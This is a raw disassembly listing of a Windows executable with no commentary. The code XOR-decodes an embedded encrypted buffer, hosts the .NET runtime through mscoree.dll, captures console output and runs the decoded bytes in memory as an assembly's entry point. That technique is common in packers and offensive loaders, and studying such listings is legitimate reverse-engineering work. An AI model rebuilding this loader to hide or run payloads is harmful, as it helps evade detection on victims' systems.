mov rax, qword [rsp + 0xe0]
shl rax, 1
test rax, rax
je 0x140008a23
mov r8, qword [rsp + 0xe8]
jmp 0x140008a14
mov ecx, 1
mov rdx, r14
mov r8, rsi
call fcn.140020090
lea r12, [rsi + 1]
lea rsi, [r12 - 1]
mov ecx, 1
mov edx, 1
mov r8, rsi
call fcn.140020090
test r13, r13
je 0x140008688
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 1
test rsi, rsi
je 0x140009e3d
mov qword [rsp + 0x78], rax
lea rdi, [rsi + 1]
mov r14d, 1
mov r13, rsi
mov rsi, qword [rsp + 0x128]
movzx ebp, byte [r14]
xor eax, eax
mov rcx, rsi
neg rcx
sbb rax, rax
cmp rax, 0x1f
mov ecx, 0x1f
cmovb rcx, rax
cmp rcx, 8
mov rbx, rsi
mov esi, 7
cmovae rsi, rcx
inc rsi
movzx eax, byte [0x14005eb28]
mov rcx, rsi
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov byte [rax], bpl
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rax
sub r12, qword [rsp + 0x78]
xor ecx, ecx
mov rax, rbx
neg rax
sbb rcx, rcx
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x90], 1
mov r15d, 0x1e
mov rbp, r14
mov esi, 1
jmp 0x14000878d
test r12, r12
je 0x14000883c
lea rdi, [r12 + rbp]
mov rsi, qword [rsp + 0x90]
mov r14, rbp
mov r13, r12
movzx ebx, byte [rbp]
cmp rsi, qword [rsp + 0x80]
je 0x1400087fb
mov rax, qword [rsp + 0x88]
mov byte [rax + rsi], bl
inc rsi
mov qword [rsp + 0x90], rsi
add r15, 0xffffffffffffffff
jae 0x140008842
inc rbp
cmp rbp, rdi
jne 0x14000875b
cmp qword [rsp + 0x128], 0
je 0x1400087c6
test r12, r12
js case.0x140008b5c.2
movzx eax, byte [0x14005eb28]
mov rcx, r12
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov rbp, rax
jmp 0x1400087cb
mov ebp, 1
mov rcx, rbp
mov rdx, qword [rsp + 0x78]
mov r8, r12
call fcn.140020090
test r13, r13
je 0x140008740
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140008740
mov rax, qword [rsp + 0x178]
cmp rax, r15
mov r8, r15
cmovb r8, rax
inc r8
mov rax, 0xffffffffffffffff
cmove r8, rax
test r15, r15
mov eax, 1
cmove r8, rax
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.1400214c0
jmp 0x14000876d
mov r14, rbp
mov r13, r12
cmp qword [rsp + 0x128], 0
je 0x140008861
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
mov r15, qword [rsp + 0x120]
je 0x140008880
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x70]
test rax, rax
je case.0x140008b5c.2
mov r8, qword [rsp + 0x68]
mov ecx, 0x2e00e
mov rdx, r15
jmp 0x1400088d9
sub rcx, r9
je 0x140008a0f
mov r10, rdx
cmp rcx, rax
mov r9, rax
cmovb r9, rcx
add rdx, r9
cmp r9, 8
jb 0x1400088fd
lea r11, [r8 + r9]
cmp r10, r11
jae 0x140008970
cmp r8, rdx
jae 0x140008970
xor r11d, r11d
mov rdi, r9
mov rsi, r11
and rdi, 3
je 0x140008925
mov rbx, r11
nop
movzx esi, byte [r8 + rbx]
xor byte [r10 + rbx], sil
lea rsi, [rbx + 1]
mov rbx, rsi
dec rdi
jne 0x140008910
sub r11, r9
cmp r11, 0xfffffffffffffffc
ja 0x1400088d0
nop
movzx r11d, byte [r8 + rsi]
xor byte [r10 + rsi], r11b
movzx r11d, byte [r8 + rsi + 1]
xor byte [r10 + rsi + 1], r11b
movzx r11d, byte [r8 + rsi + 2]
xor byte [r10 + rsi + 2], r11b
movzx r11d, byte [r8 + rsi + 3]
xor byte [r10 + rsi + 3], r11b
lea r11, [rsi + 4]
mov rsi, r11
cmp r9, r11
jne 0x140008930
jmp 0x1400088d0
cmp r9, 0x20
jae 0x14000897b
xor r11d, r11d
jmp 0x1400089d7
mov r11, r9
and r11, 0xffffffffffffffe0
xor esi, esi
nop word cs:[rax + rax]
movups xmm0, xmmword [r8 + rsi]
movdqu xmm1, xmmword [r8 + rsi + 0x10]
movups xmm2, xmmword [r10 + rsi]
xorps xmm2, xmm0
movdqu xmm0, xmmword [r10 + rsi + 0x10]
pxor xmm0, xmm1
movups xmmword [r10 + rsi], xmm2
movdqu xmmword [r10 + rsi + 0x10], xmm0
add rsi, 0x20
cmp r11, rsi
jne 0x140008990
cmp r9, r11
je 0x1400088d0
test r9b, 0x18
je 0x140008900
mov rsi, r11
mov r11, r9
and r11, 0xfffffffffffffff8
nop word cs:[rax + rax]
mov rdi, qword [r8 + rsi]
xor qword [r10 + rsi], rdi
add rsi, 8
cmp r11, rsi
jne 0x1400089f0
cmp r9, r11
je 0x1400088d0
jmp 0x140008900
test r13, r13
je 0x140008a23
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14005eb28]
mov ecx, 0x2e00e
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov rsi, rax
mov r8d, 0x2e00e
mov rcx, rax
mov rdx, r15
call fcn.140020090
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x1b0], 0x2e00e
mov qword [rsp + 0x1b8], rsi
mov qword [rsp + 0x1c0], 0x2e00e
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1c8], xmm0
mov dword [rsp + 0x1d8], 0
mov byte [rsp + 0x1dc], 0x20
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 1
movdqu xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x200], 0
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x58]
call fcn.14000a8c0
test rax, rax
jne case.0x140008b5c.2
mov rbx, qword [rsp + 0x68]
test rdx, rdx
je 0x140008da2
mov r15d, 0x2000
lea rdi, [rsp + 0x1b0]
lea r12, [0x140053740]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
mov rax, qword [rsp + 0x58]
mov rcx, rax
or rcx, rbx
jne 0x140008c00
jmp 0x140008bbf
add byte [rax], al
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x140008d7d
jmp case.0x140008b5c.2
cmp rbp, rdx
jb case.0x140008b5c.2
mov rbx, qword [rsp + 0x68]
test rdx, rdx
je 0x140008da2
add rbx, rdx
lea rax, [r15 + r15]
test r15, r15
mov rcx, 0xffffffffffffffff
cmovs rax, rcx
cmp r13, r15
cmovb rax, r15
sub rbp, rdx
mov qword [rsp + 0x68], rbx
cmove r15, rax
mov rsi, rbp
mov rax, qword [rsp + 0x58]
mov rcx, rax
or rcx, rbx
jne 0x140008c00
mov rcx, rdi
lea rdx, [rsp + 0x58]
call fcn.14000a8c0
test rax, rax
jne case.0x140008b5c.2
mov rbx, qword [rsp + 0x68]
test rdx, rdx
je 0x140008da2
mov rax, qword [rsp + 0x58]
cmp rbx, rax
je 0x140008c05
mov r13, rax
jmp 0x140008c94
cmp rbx, rax
jne 0x140008bed
mov r13, rax
add r13, 0x20
jb case.0x140008b5c.2
lea rcx, [rax + rax]
cmp rcx, r13
cmova r13, rcx
cmp r13, 9
mov ecx, 8
cmovb r13, rcx
test rax, rax
je 0x140008c50
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x90], rax
mov eax, 1
jmp 0x140008c52
xor eax, eax
mov rdx, r13
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x30]
mov r8, r13
lea r9, [rsp + 0x80]
call fcn.140005990
cmp qword [rsp + 0x30], 0
jne case.0x140008b5c.2
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], r13
sub r13, rbx
add rbx, qword [rsp + 0x60]
cmp r13, r15
mov rbp, r15
cmovb rbp, r13
mov r8, rbp
sub r8, rsi
add rsi, rbx
mov rcx, rsi
xor edx, edx
call fcn.140020730
mov rcx, rdi
mov rdx, rbx
mov r8, rbp
call fcn.14000aaa0
test rax, rax
je 0x140008b70
test rdx, rdx
je 0x140008d9d
mov eax, edx
and eax, 3
lea rcx, [0x140053730]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0xf], 0x23
jne case.0x140008b5c.2
mov qword [rsp + 0x78], r15
mov rsi, rdx
dec rsi
mov r15, qword [rdx - 1]
mov rdi, qword [rdx + 7]
mov rcx, r15
call qword [rdi]
cmp qword [rdi + 8], 0
je case.0x140008cec.7
cmp qword [rdi + 0x10], 0x11
lea rdi, [rsp + 0x1b0]
jb 0x140008d34
nop word cs:[rax + rax]
mov r15, qword [r15 - 8]
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, r15
call r14
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rsi
call r14
mov r15, qword [rsp + 0x78]
jmp 0x140008d7d
lea rdi, [rsp + 0x1b0]
jmp 0x140008d43
shr rdx, 0x20
cmp edx, 0x23
jne case.0x140008b5c.2
mov rcx, rdi
mov rdx, rbx
mov r8, rbp
call fcn.14000aaa0
test rax, rax
je 0x140008b70
test rdx, rdx
jne 0x140008b50
mov rbx, qword [rsp + 0x68]
mov r15, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x1b0], 0
je 0x140008dd3
mov r8, qword [rsp + 0x1b8]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d0]
test rax, rax
je 0x140008e3c
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140008e3c
test rcx, rcx
je 0x140008e3c
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140008e2a
cmp qword [r14 + 0x10], 0x11
jb 0x140008e18
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1e0], 0
je 0x140008e5e
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.mscoree.dllCreateInterfaceOutput:
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0xb
lea rax, [0x1400235cb]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 0xf
lea r13, [rsp + 0x160]
mov qword [rsp + 0x80], r13
lea r12, [0x1400037b0]
mov qword [rsp + 0x88], r12
lea rbp, [0x140023688]
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x1b8], 2
mov qword [rsp + 0x1d0], 0
lea r14, [rsp + 0x80]
mov qword [rsp + 0x1c0], r14
mov qword [rsp + 0x1c8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x1b0]
call fcn.140001560
mov rsi, qword [rsp + 0x38]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_LoadLibraryA]
test rax, rax
je 0x1400091d3
mov rdi, rax
cmp qword [rsp + 0x30], 0
je 0x140008f3c
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x100]
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x1b8], 2
mov qword [rsp + 0x1d0], 0
lea rbp, [rsp + 0x80]
mov qword [rsp + 0x1c0], rbp
mov qword [rsp + 0x1c8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x1b0]
call fcn.140001560
mov rsi, qword [rsp + 0x38]
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14000931c
mov qword [rsp + 0x60], rax
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x58], rdi
mov r14, qword [rsp + 0x130]
cmp qword [rsp + 0x30], 0
je 0x140008ff2
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
cmp rcx, rdi
jne 0x14000a27e
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1b8], rcx
mov qword [rsp + 0x1c0], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
movups xmm3, xmmword [rsp + 0xb0]
movups xmmword [rsp + 0x1d0], xmm0
movups xmmword [rsp + 0x1e0], xmm1
movups xmmword [rsp + 0x1f0], xmm2
movups xmmword [rsp + 0x200], xmm3
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], r15
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x238], rcx
mov qword [rsp + 0x240], rbx
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x248], rcx
mov rcx, qword [rsp + 0x138]
mov qword [rsp + 0x250], rcx
mov qword [rsp + 0x258], r14
movdqu xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rsp + 0x270], xmm1
movdqu xmmword [rsp + 0x260], xmm0
mov byte [rsp + 0x280], 2
mov ecx, dword [rsp + 0x58]
mov edx, dword [rsp + 0x5b]
mov dword [rsp + 0x281], ecx
mov dword [rsp + 0x284], edx
mov qword [rsp + 0x288], rax
mov byte [rsp + 0x290], 2
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0xe3]
mov dword [rsp + 0x291], eax
mov dword [rsp + 0x294], ecx
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x1b0]
call fcn.140001710
cmp qword [rsp + 0x80], rdi
jne case.0x140008b5c.2
mov rax, qword [rsp + 0x88]
mov rsi, qword [rax + 0x18]
lea rcx, str.mscorlibSystem.Consoleget_OutSetOutget_ErrorSetErrorSystem.IO.StringWriterToStringOutput_context_has_not_been_initialized
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], 8
mov edx, 8
call fcn.140011160
mov qword [rsp + 0x160], 0
mov r9, qword [rsi]
lea r8, [rsp + 0x160]
mov rcx, rsi
mov rdx, rax
call qword [r9 + 0x160]
mov dword [rsp + 0x140], eax
test eax, eax
js 0x1400092ac
mov r14, qword [rsp + 0x160]
test r14, r14
je 0x1400093ac
mov qword [rsp + 0xe8], r14
jmp 0x140009429
call qword [sym.imp.kernel32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmove ecx, eax
mov qword [rsp + 0xe0], 0
mov dword [rsp + 0xe8], ecx
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r12
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x90], rax
lea rax, [0x140010f60]
mov qword [rsp + 0x98], rax
lea rax, str.Error_while_loading__
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 2
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1c0], r14
mov qword [rsp + 0x1c8], 2
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x1b0]
call fcn.140001560
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140009289
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rsp + 0x30], 0
movabs rdi, 0x8000000000000000
mov r14, qword [rsp + 0x130]
jne 0x140008fe0
jmp 0x140008ff2
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
lea rax, [0x140010320]
mov qword [rsp + 0x48], rax
lea rax, str.Could_not_retrieve__
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
jmp 0x1400093fe
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], r13
mov qword [rsp + 0x98], r12
lea rax, str.Could_not_locate____in__
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 3
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1c0], rbp
mov qword [rsp + 0x1c8], 2
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x1b0]
call fcn.140001560
movabs rdi, 0x8000000000000000
mov r14, qword [rsp + 0x130]
cmp qword [rsp + 0x30], 0
jne 0x140008fe0
jmp 0x140008ff2
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r12
lea rax, str.Could_not_retrieve__
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x80]
call fcn.140001560
cmp qword [rsp + 0xe0], rdi
jne case.0x140008b5c.2
mov r14, qword [rsp + 0xe8]
lea r8, [0x140023610]
lea rcx, [rsp + 0x80]
mov r9d, 0xe
mov rdx, r14
call fcn.1400038d0
cmp qword [rsp + 0x80], rdi
jne case.0x140008b5c.2
mov r15, rdi
mov rsi, qword [rsp + 0x88]
lea r8, [0x14002361e]
lea rcx, [rsp + 0x80]
mov r9d, 7
mov rdx, rsi
call fcn.140002dd0
cmp qword [rsp + 0x80], rdi
jne case.0x140008b5c.2
mov rdi, qword [rsp + 0x88]
lea r8, [0x140023625]
lea rcx, [rsp + 0x80]
mov r9d, 6
mov rdx, rsi
call fcn.140002dd0
cmp qword [rsp + 0x80], r15
jne case.0x140008b5c.2
mov rbx, qword [rsp + 0x88]
lea r8, [0x14002362b]
lea rcx, [rsp + 0x80]
mov r9d, 9
mov rdx, rsi
call fcn.140002dd0
cmp qword [rsp + 0x80], r15
jne case.0x140008b5c.2
mov r12, qword [rsp + 0x88]
lea r8, [0x140023634]
lea rcx, [rsp + 0x80]
mov r9d, 8
mov rdx, rsi
call fcn.140002dd0
cmp qword [rsp + 0x80], r15
jne case.0x140008b5c.2
mov r15, qword [rsp + 0x88]
mov qword [rsp + 0x58], 0
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0x58]
mov rdx, rdi
call fcn.140003590
cmp qword [rsp + 0x80], 0
mov r13, qword [rsp + 0x88]
je 0x14000971b
movabs rsi, 0x8000000000000000
cmp r13, rsi
jne case.0x140008b5c.2
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x1b0]
call fcn.140001710
cmp qword [rsp + 0x80], rsi
jne case.0x140008b5c.2
mov rax, qword [rsp + 0x88]
mov rdi, qword [rax + 0x18]
mov r14, qword [rsp + 0x238]
mov r12, qword [rsp + 0x240]
mov dword [rsp + 0x160], r12d
mov dword [rsp + 0x164], 0
lea r8, [rsp + 0x160]
mov cx, 0x11
mov edx, 1
call qword [sym.imp.oleaut32.dll_SafeArrayCreate]
mov r15, rax
mov qword [rsp + 0x100], 0
lea rbx, [rsp + 0x100]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.oleaut32.dll_SafeArrayAccessData]
test eax, eax
js 0x140009627
mov rcx, qword [rsp + 0x100]
mov rdx, r14
mov r8, r12
call fcn.140020090
mov rcx, r15
call qword [sym.imp.oleaut32.dll_SafeArrayUnaccessData]
test eax, eax
jns 0x1400096ca
mov ecx, eax
call fcn.1400106b0
mov r14, rax
mov dword [rsp + 0x140], edx
lea rax, [rsp + 0x140]
mov qword [rsp + 0xe0], rax
lea rax, [0x140010320]
mov qword [rsp + 0xe8], rax
lea rax, str.Could_not_prepare_assembly_due_to_a_safe_array_related_error:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x80]
call fcn.140001560
test r14, r14
je 0x1400096ba
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
cmp qword [rsp + 0x30], rsi
jne case.0x140008b5c.2
mov r15, qword [rsp + 0x38]
mov qword [rsp + 0xe0], 0
mov rax, qword [rdi]
lea r14, [rsp + 0xe0]
mov rcx, rdi
mov rdx, r15
mov r8, r14
call qword [rax + 0x168]
mov dword [rsp + 0x100], eax
test eax, eax
js 0x140009772
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x14000a2ff
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], rsi
jmp 0x1400097e5
mov rbp, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x98]
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0x58]
mov rdx, r12
call fcn.140003590
cmp qword [rsp + 0x80], 0
mov r12, qword [rsp + 0x88]
je 0x140009bc7
mov r13, r12
movabs rsi, 0x8000000000000000
cmp r13, rsi
je 0x140009573
jmp case.0x140008b5c.2
mov qword [rsp + 0x30], rbx
lea rax, [0x140010320]
mov qword [rsp + 0x38], rax
lea rax, [0x140023d38]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x80]
call fcn.140001560
cmp qword [rsp + 0x58], rsi
jne case.0x140008b5c.2
mov rcx, qword [rsp + 0x60]
mov r13, qword [rsp + 0x250]
mov rbp, qword [rsp + 0x258]
mov qword [rsp + 0x160], 0
mov rax, qword [rcx]
lea r15, [rsp + 0x160]
mov rdx, r15
call qword [rax + 0x80]
mov dword [rsp + 0x140], eax
test eax, eax
js 0x140009862
mov r12, qword [rsp + 0x160]
test r12, r12
jne 0x1400098e8
movzx eax, byte [0x14005eb28]
mov ecx, 0x1d
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
movups xmm0, xmmword [0x140023d9d]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.Could_not_retrieve_entrypointCould_not_retrieve_entrypoint:]
movups xmmword [rax], xmm0
ud2
lea rax, [rsp + 0x140]
mov qword [rsp + 0xe0], rax
lea rax, [0x140010320]
mov qword [rsp + 0xe8], rax
lea rax, [0x140023dd0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x80]
call fcn.140001560
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x30], rax
jne case.0x140008b5c.2
mov r12, qword [rsp + 0x38]
mov qword [rsp + 0x180], 0
mov rax, qword [r12]
lea rdi, [rsp + 0x180]
mov rcx, r12
mov rdx, rdi
call qword [rax + 0x38]
mov dword [rsp + 0x18c], eax
test eax, eax
js 0x140009b24
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0x190], rdi
lea rax, [rsp + 0x190]
mov qword [rsp + 0x198], rax
lea rax, [rsp + 0x198]
mov qword [rsp + 0x1a0], rax
lea rax, [0x140010580]
mov qword [rsp + 0x1a8], rax
lea rax, [0x140053660]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rdx, [0x1400237a8]
lea rcx, [rsp + 0xe0]
lea r8, [rsp + 0x80]
call fcn.140003bf0
test al, al
jne case.0x140008b5c.2
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x180]
test rcx, rcx
je 0x140009a10
call qword [sym.imp.oleaut32.dll_SysFreeString]
mov rax, qword [rsp + 0x48]
movdqu xmm0, xmmword [rsp + 0x38]
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], rax
cmp rax, 6
jb 0x140009a8b
mov rdi, qword [rsp + 0x148]
mov ecx, 0x6e69614d
xor ecx, dword [rdi + rax - 6]
movzx edx, word [rdi + rax - 2]
xor edx, 0x2928
or edx, ecx
je 0x140009c8f
cmp rax, 0x15
jb 0x140009a8b
movdqu xmm0, xmmword [rdi + rax - 0x15]
movdqu xmm1, xmmword [rdi + rax - 0x10]
pcmpeqb xmm1, xmmword [0x140023510]
pcmpeqb xmm0, xmmword [0x140023520]
pand xmm0, xmm1
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x140009dea
lea rax, [rsp + 0x140]
mov qword [rsp + 0x30], rax
lea rax, [0x1400010b0]
mov qword [rsp + 0x38], rax
lea rax, str.Cannot_handle_an_entrypoint_with_this_method_signature:_H
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x80]
call fcn.140001560
mov qword [rsp + 0x58], 1
cmp qword [rsp + 0x140], 0
je 0x140009ffd
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x14005eb20]
xor edx, edx
jmp 0x140009ff7
lea rax, [rsp + 0x18c]
mov qword [rsp + 0xe0], rax
lea rax, [0x140010320]
mov qword [rsp + 0xe8], rax
lea rax, str.Failed_while_running__ToString_:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x80]
call fcn.140001560
mov rcx, qword [rsp + 0x180]
test rcx, rcx
je 0x140009ba3
call qword [sym.imp.oleaut32.dll_SysFreeString]
mov rax, qword [rsp + 0x48]
movdqu xmm0, xmmword [rsp + 0x38]
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], 1
jmp 0x140009ffd
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xf8], rax
lea r8, [0x14002363c]
lea rcx, [rsp + 0x80]
mov r9d, 0x16
mov rdx, r14
call fcn.1400038d0
movabs rdi, 0x8000000000000000
cmp qword [rsp + 0x80], rdi
jne case.0x140008b5c.2
mov rdx, qword [rsp + 0x88]
lea r8, [0x140023652]
lea rcx, [rsp + 0x80]
mov r9d, 8
call fcn.140002dd0
cmp qword [rsp + 0x80], rdi
jne case.0x140008b5c.2
mov rdi, qword [rsp + 0x88]
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.1400037d0
cmp qword [rsp + 0x80], 0
mov r14, qword [rsp + 0x88]
je 0x140009cc7
mov r13, r14
movabs rsi, 0x8000000000000000
cmp r13, rsi
je 0x140009573
jmp case.0x140008b5c.2
mov qword [rsp + 0x80], 0
mov cx, 0xc
xor edx, edx
xor r8d, r8d
call qword [sym.imp.oleaut32.dll_SafeArrayCreateVector]
lea rcx, [rsp + 0x58]
lea r9, [rsp + 0x80]
mov rdx, r12
mov r8, rax
call fcn.140003320
jmp 0x140009fe0
mov qword [rsp + 0x130], rbp
mov qword [rsp + 0x138], rsi
mov rsi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x98]
movzx eax, byte [0x14005eb28]
mov ecx, 0x18
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov qword [rsp + 0x128], rdi
mov qword [rax], r14
mov qword [rsp + 0x120], rsi
mov qword [rax + 8], rsi
mov qword [rsp + 0x178], rbp
mov qword [rax + 0x10], rbp
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x80]
call fcn.140003200
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x30], rax
jne case.0x140008b5c.2
mov rdi, qword [rsp + 0x38]
lea rcx, [rsp + 0x80]
lea r9, [rsp + 0x58]
mov rdx, rbx
mov r8, rdi
call fcn.140003320
cmp qword [rsp + 0x80], 0
mov rsi, qword [rsp + 0x138]
mov rbp, qword [rsp + 0x130]
